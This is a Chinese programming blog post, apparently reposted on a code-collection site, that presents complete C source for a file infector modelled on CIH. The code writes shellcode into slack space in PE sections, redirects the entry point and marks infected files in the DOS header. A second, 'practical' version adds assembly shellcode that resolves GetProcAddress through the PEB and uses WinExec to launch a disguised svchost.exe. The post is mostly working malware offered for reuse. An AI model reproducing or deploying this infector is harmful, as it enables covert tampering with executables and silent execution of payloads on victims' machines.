概述
这个感染方式和win9x时代的CIH病毒感染方式很像。。。
@PandaOS
这个程序的感染标识放在了DOS头中。。。因为DOS头只有MZ和最后一个指向PE头的指针很重要,改了就完蛋了。。。别的几乎用不到
所以修改DOS头的话,只要不修改首尾字段,几乎不会影响程序的运行。
源程序
感染后的
感染前程序的入口
感染后程序的入口
只要搜索节中的空隙,然后将代码分成几块,分别插入进去,运行的时候再用jmp链接起来,就可以实现被感染的文件与源文件的大小相同。因为PE文件会有很多的空隙。如果一个地方的空隙很大,比你要插入的代码都大,你可以直接插入进去了。。。(大小相同并不是对所有可执行文件而言的!)
写的很烂,大神勿喷
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#define pause system("pause")
int FPeFile(char *PeFileName)
{
HANDLE hFile;
HANDLE hMap;
PIMAGE_DOS_HEADER pDosHeader;
PIMAGE_NT_HEADERS pNtHeader;
PIMAGE_SECTION_HEADER pSec;
PIMAGE_OPTIONAL_HEADER pOptionalHeader;
DWORD word=0;
char *pBuf;
short Sec;
int size;
unsigned char INT3=0xcc;
unsigned char retn=0xc3;
unsigned char Nop=0x90;
hFile=CreateFileA(
PeFileName,
GENERIC_READ|
GENERIC_WRITE,
FILE_SHARE_READ|
FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if(hFile==INVALID_HANDLE_VALUE)
{
printf("打开文件失败!错误号:%dn",GetLastError());
pause;
return 0;
}
size=GetFileSize(hFile,0);
hMap=CreateFileMappingA(
hFile,
NULL,
PAGE_READWRITE,
0,
size,
NULL);
if(hMap==INVALID_HANDLE_VALUE)
{
Err:
CloseHandle(hFile);
printf("映射文件失败!n");
pause;
return 0;
}
pBuf=(char*)MapViewOfFile(hMap,
FILE_MAP_WRITE|
FILE_MAP_READ,
0,
0,
size);
if(!pBuf)
{
CloseHandle(hFile);
goto Err;
}
pDosHeader=(PIMAGE_DOS_HEADER)pBuf;
pNtHeader=(PIMAGE_NT_HEADERS)&pBuf[pDosHeader->e_lfanew];
pOptionalHeader=(PIMAGE_OPTIONAL_HEADER)&pNtHeader->OptionalHeader;
if(pDosHeader->e_magic!=IMAGE_DOS_SIGNATURE)
{
NotPe:
printf("不是有效的PE文件!n");
goto Clean;
}
if(pNtHeader->Signature!=IMAGE_NT_SIGNATURE)
goto NotPe;
if(pDosHeader->e_ovno==0x2308)
{
/* 已经被感染了 */
printf("这个程序已经被感染了!n");
goto Clean;
}
Sec=pNtHeader->FileHeader.NumberOfSections;
pSec=(PIMAGE_SECTION_HEADER)&pBuf[sizeof(IMAGE_NT_HEADERS)+pDosHeader->
e_lfanew];
for(int i=0;i<Sec;i++)
{
DWORD Empty;/* 空白字节大小 */
DWORD py;/* 文件偏移 */
DWORD VAddress;/* 相对虚拟地址 */
DWORD OEP;/* 程序OEP */
DWORD NOep;/* 感染后的程序的原OEP */
unsigned char Jmp=0xE9;
unsigned char Code[]=
{0x60,0x33,0xC0,0x33,0xDB,0xEB,0x00,0x03,0xC3,
0x83,0xC3,0x01,0x83,0xFB,0x65,0x75,0xF6,0x90,0x61};
/* 收集信息 */
Empty=pSec->SizeOfRawData-pSec->Misc.VirtualSize;
py=pSec->PointerToRawData+pSec->Misc.VirtualSize;
VAddress=pSec->VirtualAddress+pSec->Misc.VirtualSize;
if(Empty<=0)
{
pSec++;
continue;
}
if(Empty<(6+sizeof(Code)))
{
pSec++;
continue;
}
OEP=pOptionalHeader->AddressOfEntryPoint;
printf("区段名:%st文件偏移:%xHt空白字节大小:%xHt相对虚拟地址:%xHn",pSec->Name,
py,Empty,VAddress);
/* 跳回源程序OEP */
/* 在32位汇编中 Jmp指令偏移 = 要跳转的地址-(RVA+真实长度+插入的指令大小)-5 */
NOep=OEP-(pSec->VirtualAddress+pSec->Misc.VirtualSize+sizeof(Code))-5;/* 获取感染后程序的OEP */
pOptionalHeader->AddressOfEntryPoint=VAddress;
SetFilePointer(hFile,py,NULL,FILE_BEGIN);
/* 将信息写入到空白字节中 */
if(WriteFile(hFile,Code,sizeof(Code),&word,NULL))
{
WriteFile(hFile,&Jmp,sizeof(Jmp),&word,NULL);
WriteFile(hFile,&NOep,sizeof(NOep),&word,NULL);
/* 标识 */
WriteFile(hFile,&"yeeeee",sizeof("yeeeee"),&word,NULL);
pDosHeader->e_ovno=0x2308;
printf("源程序OEP:%xHt感染后OEP:%xHn",OEP,pOptionalHeader->AddressOfEntryPoint);
break;
}
pSec++;
}
goto Clean;
Clean:
UnmapViewOfFile(pBuf);
CloseHandle(hMap);
CloseHandle(hFile);
pause;
return 0;
}
int main(int argc,char *argv[])
{
if(argc<2)
return 0;
FPeFile(argv[1]);
return 0;
}
经过我的小小的修改,可实用化:
// PEInject.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#define pause system("pause")
int dumpCode(unsigned char*buffer)
{
goto END ;//略过汇编代码
BEGIN:
__asm
{
//在这里定义任意的合法汇编代码
mov eax, dword ptr fs:[0x30];
mov eax, dword ptr [eax+0xC];
mov eax, dword ptr [eax+0xC];
mov eax, dword ptr [eax];
mov eax, dword ptr [eax];
mov eax, dword ptr [eax+0x18];
mov ebp,eax //Kernel.dll基址
mov eax,dword ptr ss:[ebp+3CH] // eax=PE首部
mov edx,dword ptr ds:[eax+ebp+78H] //
add edx,ebp // edx=引出表地址
mov ecx,dword ptr ds:[edx+18H] // ecx=导出函数个数,NumberOfFunctions
mov ebx,dword ptr ds:[edx+20H] //
add ebx,ebp // ebx=函数名地址,AddressOfName
start: //
dec ecx // 循环的开始
mov esi,dword ptr ds:[ebx+ecx*4] //
add esi,ebp //
mov eax,0x50746547 //
cmp dword ptr ds:[esi],eax // 比较PteG
jnz start //
mov eax,0x41636F72 //
cmp dword ptr ds:[esi+4],eax // 比较Acor,通过GetProcA几个字符就能确定是GetProcAddress
jnz start //
mov ebx,dword ptr ds:[edx+24H] //
add ebx,ebp //
mov cx,word ptr ds:[ebx+ecx*2] //
mov ebx,dword ptr ds:[edx+1CH] //
add ebx,ebp //
mov eax,dword ptr ds:[ebx+ecx*4] //
add eax,ebp // eax 现在是GetProcAddress地址
mov ebx,eax // GetProcAddress地址存入ebx,如果写ShellCode的话以后还可以继续调用
push 0 //
push 0x636578 //
push 0x456E6957 // 构造WinExec字符串
push esp //
push ebp // ebp是kernel32.dll的基址
call ebx // 用GetProcAdress得到WinExec地址
mov ebx,eax // WinExec地址保存到ecx
push 0x00006578
push 0x652e7473
push 0x6f686376
push 0x735c6563
push 0x69767265
push 0x53207466
push 0x6f736f72
push 0x63694d5c
push 0x73656c69
push 0x46206d61
push 0x72676f72
push 0x505c3a43 //字符串压入栈
lea eax,[esp]; //取到cmd首地址
push 1 //
push eax // ASCII "C:Program FilesMicrosoft Servicesvchost.exe"
call ebx // 执行WinExec
nop
nop
nop
nop
// leave // 跳回原始入口点
}
END:
//确定代码范围
UINT begin,end;
__asm
{
mov eax,BEGIN ;
mov begin,eax ;
mov eax,END ;
mov end,eax ;
}
//输出
int len=end-begin;
memcpy(buffer,(void*)begin,len);
//四字节对齐
int fill=(len-len%4)%4;
while(fill--)buffer[len+fill]=0x90;
//返回长度
return len+fill;
}
int FPeFile(char *PeFileName, unsigned char* shellcode, int shellcodelen)
{
HANDLE hFile;
HANDLE hMap;
PIMAGE_DOS_HEADER pDosHeader;
PIMAGE_NT_HEADERS pNtHeader;
PIMAGE_SECTION_HEADER pSec;
PIMAGE_OPTIONAL_HEADER pOptionalHeader;
DWORD word=0;
char *pBuf;
short Sec;
int size;
unsigned char INT3=0xcc;
unsigned char retn=0xc3;
unsigned char Nop=0x90;
hFile=CreateFileA(
PeFileName,
GENERIC_READ|
GENERIC_WRITE,
FILE_SHARE_READ|
FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if(hFile==INVALID_HANDLE_VALUE)
{
printf("打开文件失败!错误号:%dn",GetLastError());
pause;
return 0;
}
size=GetFileSize(hFile,0);
hMap=CreateFileMappingA(
hFile,
NULL,
PAGE_READWRITE,
0,
size,
NULL);
if(hMap==INVALID_HANDLE_VALUE)
{
Err:
CloseHandle(hFile);
printf("映射文件失败!n");
pause;
return 0;
}
pBuf=(char*)MapViewOfFile(hMap,
FILE_MAP_WRITE|
FILE_MAP_READ,
0,
0,
size);
if(!pBuf)
{
CloseHandle(hFile);
goto Err;
}
pDosHeader=(PIMAGE_DOS_HEADER)pBuf;
pNtHeader=(PIMAGE_NT_HEADERS)&pBuf[pDosHeader->e_lfanew];
pOptionalHeader=(PIMAGE_OPTIONAL_HEADER)&pNtHeader->OptionalHeader;
if(pDosHeader->e_magic!=IMAGE_DOS_SIGNATURE)
{
NotPe:
printf("不是有效的PE文件!n");
goto Clean;
}
if(pNtHeader->Signature!=IMAGE_NT_SIGNATURE)
goto NotPe;
if(pDosHeader->e_ovno==0x2308)
{
/* 已经被感染了 */
printf("这个程序已经被感染了!n");
goto Clean;
}
Sec=pNtHeader->FileHeader.NumberOfSections;
pSec=(PIMAGE_SECTION_HEADER)&pBuf[sizeof(IMAGE_NT_HEADERS)+pDosHeader->
e_lfanew];
for(int i=0;i<Sec;i++)
{
DWORD Empty;/* 空白字节大小 */
DWORD py;/* 文件偏移 */
DWORD VAddress;/* 相对虚拟地址 */
DWORD OEP;/* 程序OEP */
DWORD NOep;/* 感染后的程序的原OEP */
unsigned char Jmp=0xE9;
unsigned char Code[]=
{0x60,0x33,0xC0,0x33,0xDB,0xEB,0x00,0x03,0xC3,
0x83,0xC3,0x01,0x83,0xFB,0x65,0x75,0xF6,0x90,0x61};
/* 收集信息 */
Empty=pSec->SizeOfRawData-pSec->Misc.VirtualSize;
py=pSec->PointerToRawData+pSec->Misc.VirtualSize;
VAddress=pSec->VirtualAddress+pSec->Misc.VirtualSize;
if(Empty<=0)
{
pSec++;
continue;
}
if(Empty<(6+sizeof(Code)))
{
pSec++;
continue;
}
OEP=pOptionalHeader->AddressOfEntryPoint;
printf("区段名:%st文件偏移:%xHt空白字节大小:%xHt相对虚拟地址:%xHn",pSec->Name,
py,Empty,VAddress);
/* 跳回源程序OEP */
/* 在32位汇编中 Jmp指令偏移 = 要跳转的地址-(RVA+真实长度+插入的指令大小)-5 */
NOep=OEP-(pSec->VirtualAddress+pSec->Misc.VirtualSize+shellcodelen)-5;/* 获取感染后程序的OEP */
pOptionalHeader->AddressOfEntryPoint=VAddress;
SetFilePointer(hFile,py,NULL,FILE_BEGIN);
/* 将信息写入到空白字节中 */
if(WriteFile(hFile, shellcode, shellcodelen, &word, NULL))
{
WriteFile(hFile,&Jmp,sizeof(Jmp),&word,NULL);
WriteFile(hFile,&NOep,sizeof(NOep),&word,NULL);
/* 标识 */
//WriteFile(hFile,&"yeeeee",sizeof("yeeeee"),&word,NULL);
pDosHeader->e_ovno=0x2308;
printf("源程序OEP:%xHt感染后OEP:%xHn",OEP,pOptionalHeader->AddressOfEntryPoint);
break;
}
pSec++;
}
goto Clean;
Clean:
UnmapViewOfFile(pBuf);
CloseHandle(hMap);
CloseHandle(hFile);
pause;
return 0;
}
int main(int argc,char *argv[])
{
unsigned char buffer[1024] ={0};
int len = dumpCode(buffer);
unsigned char shellcodebuffer[1024] ={0};
shellcodebuffer[0] = 0x60;
memcpy(shellcodebuffer+1, buffer,len);
shellcodebuffer[len+1] = 0x61;
if(argc<2)
return 0;
FPeFile(argv[1], shellcodebuffer, len+2);
return 0;
}
最后
以上就是留胡子鼠标为你收集整理的简单感染PE文件的全部内容,希望文章能够帮你解决简单感染PE文件所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复